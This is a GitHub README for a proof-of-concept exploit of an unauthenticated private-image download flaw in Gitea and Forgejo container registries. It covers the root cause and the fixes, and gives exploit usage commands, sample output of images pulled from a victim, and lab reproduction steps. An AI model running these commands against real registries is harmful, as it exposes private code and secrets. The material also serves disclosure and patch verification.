Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CVE-2026-27771 — Gitea Container Registry Auth Bypass

CVSS: N/A (unpublished)
Affects: Gitea < 1.26.2 (all versions with OCI container registry)
Also affects: Forgejo (confirmed by NoScope)
Discovered by: NoScope
Fixed in: Gitea v1.26.2 (May 20, 2026)

Disclaimer: This proof-of-concept is provided for educational and authorized security research purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse of this code. Only test against systems you own or have explicit permission to test.

Summary

Unauthenticated remote attackers can pull private container images from Gitea instances. The OCI Distribution Spec API endpoints (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) serve content to ghost/anonymous users (UserID: -1) without checking the container package owner's visibility (private/limited/public).

NoScope identified ~31,750+ internet-facing instances across 30+ countries. The flaw went undetected for ~4 years.

Root Cause

The vulnerability is in the ReqContainerAccess middleware (routers/api/packages/container/container.go):

// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

This only checks:

  1. Is ctx.Doer nil? (unauthenticated request with no token at all)
  2. Is RequireSignInViewStrict enabled AND is the user a ghost?

It does not check the package owner's visibility setting (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). A ghost user (UserID: -1) with an empty scope passes straight through and can access any container package.

The /v2/token endpoint (Authenticate function) grants anonymous tokens without credentials when RequireSignInViewStrict is false.

Fix (PR #37290 + PR #37610)

Two fixes landed in 1.26.2:

  1. PR #37290 — Conditional Basic realm header in apiUnauthorizedError — stops sending Basic realm on public instances to avoid confusing Docker clients, and per-owner visibility check in the auth challenge.

  2. PR #37610 — Package visibility labels + Composer source permission check — adds the underlying permission model for packages. Without these labels, there was no way to differentiate private/internal/public packages in the permission check path.

Workaround

[service]
REQUIRE_SIGNIN_VIEW = true

This blocks all anonymous access (including public repos), which closes the exploit path. However, the underlying permission model is still broken — any authenticated user can still access all packages. Upgrade to 1.26.2+ for the real fix.

Exploit PoC

Prerequisites

  • Python 3.8+
  • Target Gitea instance < 1.26.2 with OCI container registry enabled (v1.17.0+)

Usage

python3 CVE-2026-27771-exploit.py scan <url>                       # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # Pull all images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # Pull specific repo
python3 CVE-2026-27771-exploit.py pull <url> --dry-run               # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email e@x.com

Examples

# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email me@x.com

What the exploit does

  1. Pre-flight: Checks version, /v2/ endpoint, detects registration availability, obtains anonymous token or exchanges PAT for JWT
  2. Enumerate: List all container repositories via /v2/_catalog (returns ALL repos — public and private — due to broken visibility)
  3. Pull: For each repo, list tags, fetch the OCI manifest, resolve multi-arch images, download all blob layers
  4. Extract: Automatically extracts gzip-compressed tar layers into pulled_<repo>/extracted/

Token handling

  • Anonymous: If REQUIRE_SIGNIN_VIEW=false, gets a ghost token with no credentials
  • PAT (SHA1): If --token is a 40-char hex string, auto-exchanges it for an OCI JWT via Basic auth
  • JWT: If --token contains dots, uses it directly as a Bearer token

Example output

[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)

[*] Container repositories: 3
    acme/production-app: tags=['latest', 'v2.1.0']
    acme/internal-db: tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model: tags=['v0.9.2']

  [acme/production-app]
  Tags: ['latest']
    └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifests saved
      extracted 39862 files to pulled_acme_production-app/extracted

Reproducing

Setup a test environment

# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/

Verify the fix

# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"

References

About

CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Pull private container images without authentication

Topics

Resources

Stars

19 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages